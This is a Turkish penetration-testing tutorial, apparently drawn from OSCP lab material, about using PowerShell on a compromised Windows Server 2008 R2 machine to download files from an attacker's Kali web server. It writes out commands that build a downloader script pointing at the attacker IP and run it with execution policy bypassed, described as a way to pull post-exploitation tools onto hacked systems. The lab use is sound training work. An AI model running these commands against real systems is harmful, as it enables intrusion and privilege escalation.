Powershell ile Windows Sistemlere Dosya İndirme

Normal kullanıcılarınn çoğu Command Prompt'u (CMD'yi) bilir. Ancak çok azı powershell'i duymuştur. Powershell Command Prompt'tan çok daha güçlü bir command line interface'idir. Yakın gelecekte CMD'nin yerini alması beklenmektedir.

Powershell Windows XP'nin SP2'sinden ve 2003'ün SP1'den itibaren tüm windows versiyonlarında mevcuttur. Powershell versiyonları ve karşılık geldiği windows versiyonları bilgisi için bkz. https://4sysops.com/archives/powershell-versions-and-their-windows-version/

Powershell Windows XP SP2 ve 2003 SP'den itibaren tüm windows sistemlerde yer aldığından dolayı bu sistemlere sızıldığı vakit payload ile sızılan sistemin powershell komut satırı alınabilir ve powershell kullanılarak kendi makinamızdaki dosyaları sızılan sisteme indirebiliriz. Böylelikle hak yükseltme gibi çeşitli işlemler yapabiliriz.

Uygulama

(+) Birebir denenmiştir ve başarıyla uygulanmıştır.

Şimdi Windows Server 2008 R2 makinasına powershell ile Kali'den dosya çekelim.

Gereksinimler

- Windows Server 2008 R2
- Kali (Eski) // 1.0.4

Öncelikle Kali sanal makinasında apache sunucusunu başlatalım ve apache home dizinine Kali'de yer alan bir dosyayı koyalım.

Kali (Eski) Konsol:

```
> service apache2 start
> cp deneme.txt /var/www/
```

Ardından Windows sistemindeki powershell komut satırından linux'taki wget'e benzer bir tool oluşturalım.

Windows Server 2008 R2 “Powershell” Konsol:

```
C:\Users\Administrator\Desktop> echo '$storageDir = $pwd' > wget.ps1
C:\Users\Administrator\Desktop> echo '$webclient = New-Object System.Net.WebClient' >>
wget.ps1
C:\Users\Administrator\Desktop> echo '$url = "http://172.16.3.89/priv-exploit.txt"' >> wget.ps1
C:\Users\Administrator\Desktop> echo '$file = "new-exploit.txt"' >> wget.ps1
C:\Users\Administrator\Desktop> echo '$webclient.DownloadFile($url,$file)' >> wget.ps1
```

Not: Kırmızı renkli alan Kali IP'si ve Kali'deki dosyadır.
Not 2: Kalın olanlar input'lardır.
Not 3: Bazı windows versiyonlarında echo ile dosyaya yazdırılan komut satırı tırnak içine alınmalıdır. Ancak örneğin Windows XP'de alınması gerekmez.

Yukarıdaki kodlamalar ile Windows'ta wget.ps1 tool'unu oluşturmuş bulunmaktayız. Şimdi bu tool'u kullanarak Kali'deki dosyayı windows'a indirelim.

Windows Server 2008 R2 “Powershell” Konsol:

C:\Users\Administrator\Desktop> **powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1**

Böylece Windows Server 2008 masaüstüne Kali'den gelen priv-exploit.txt dosyası new-exploit.txt ismiyle yerleşecektir. Bu örnekte txt dosyası sadece transfer işleminin gerçekleştirilebildiğini göstermek adına kullanılmıştır. Gerçek senaryolarda ise zararlı exploit'ler kullanılarak sızılan windows sistemin powershell'i üzerinden sızılan sisteme post exploit'ler çekilebilmektedir.

Kaynaklar

https://www.rapid7.com/db/modules/payload/cmd/windows/reverse_powershell

https://www.digitalcitizen.life/simple-questions-what-powershell-what-can-you-do-it

https://stackoverflow.com/questions/48458020/my-powershell-script-doesnt-download-file-and-gives-null-valued-expression-erro#48458331

Penetration Testing With Kali Linux.pdf, Yaz Tatili 2014 / Tubitak / OSCP / Resmi Belgeler / , syf. 202